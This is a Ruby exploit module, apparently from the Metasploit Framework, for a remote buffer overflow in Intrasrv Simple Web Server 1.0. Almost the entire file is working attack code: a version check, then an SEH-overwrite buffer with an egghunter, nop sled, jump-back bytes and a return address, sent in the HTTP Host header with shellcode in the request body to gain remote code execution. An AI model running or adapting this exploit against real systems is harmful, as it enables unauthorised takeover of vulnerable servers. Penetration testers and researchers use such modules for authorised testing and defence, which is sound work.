102 lines
2.6 KiB
Ruby
102 lines
2.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Egghunter
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def initialize(info={})
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super(update_info(info,
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'Name' => "Intrasrv 1.0 Buffer Overflow",
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'Description' => %q{
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This module exploits a boundary condition error in Intrasrv Simple Web
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Server 1.0. The web interface does not validate the boundaries of an
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HTTP request string prior to copying the data to an insufficiently large
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buffer. Successful exploitation leads to arbitrary remote code execution
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in the context of the application.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'xis_one@STM Solutions', #Discovery, PoC
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'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit
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],
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'References' =>
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[
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['OSVDB', '94097'],
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['EDB','18397'],
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['BID','60229']
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],
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'Payload' =>
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{
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'StackAdjustment' => -3500,
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'BadChars' => "\x00"
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "thread"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['v1.0 - XP/2003/Win7',
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{
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'Offset' => 1553,
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'Ret'=>0x004097dd #p/p/r - intrasrv.exe
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => "May 30 2013",
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'DefaultTarget' => 0))
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end
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def check
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => "/"
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})
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if res and res.headers['Server'] =~ /intrasrv 1.0/
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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# setup egghunter
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hunter,egg = generate_egghunter(payload.encoded, payload_badchars, {
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:checksum => true
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})
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# setup buffer
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buf = rand_text(target['Offset']-128) # junk to egghunter
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buf << make_nops(8) + hunter # nopsled + egghunter at offset-128
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buf << rand_text(target['Offset']-buf.length) # more junk to offset
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buf << "\xeb\x80\x90\x90" # nseh - jmp -128 to egghunter
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buf << [target.ret].pack("V*") # seh
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# Setup payload
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shellcode = rand_text(50) # pad payload
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shellcode = egg + egg # attach egg tags
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shellcode << payload.encoded
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print_status("Sending buffer...")
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send_request_cgi({
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'method' => 'GET',
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'uri' => "/",
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'vhost' => buf,
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'data' => shellcode
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})
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end
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end
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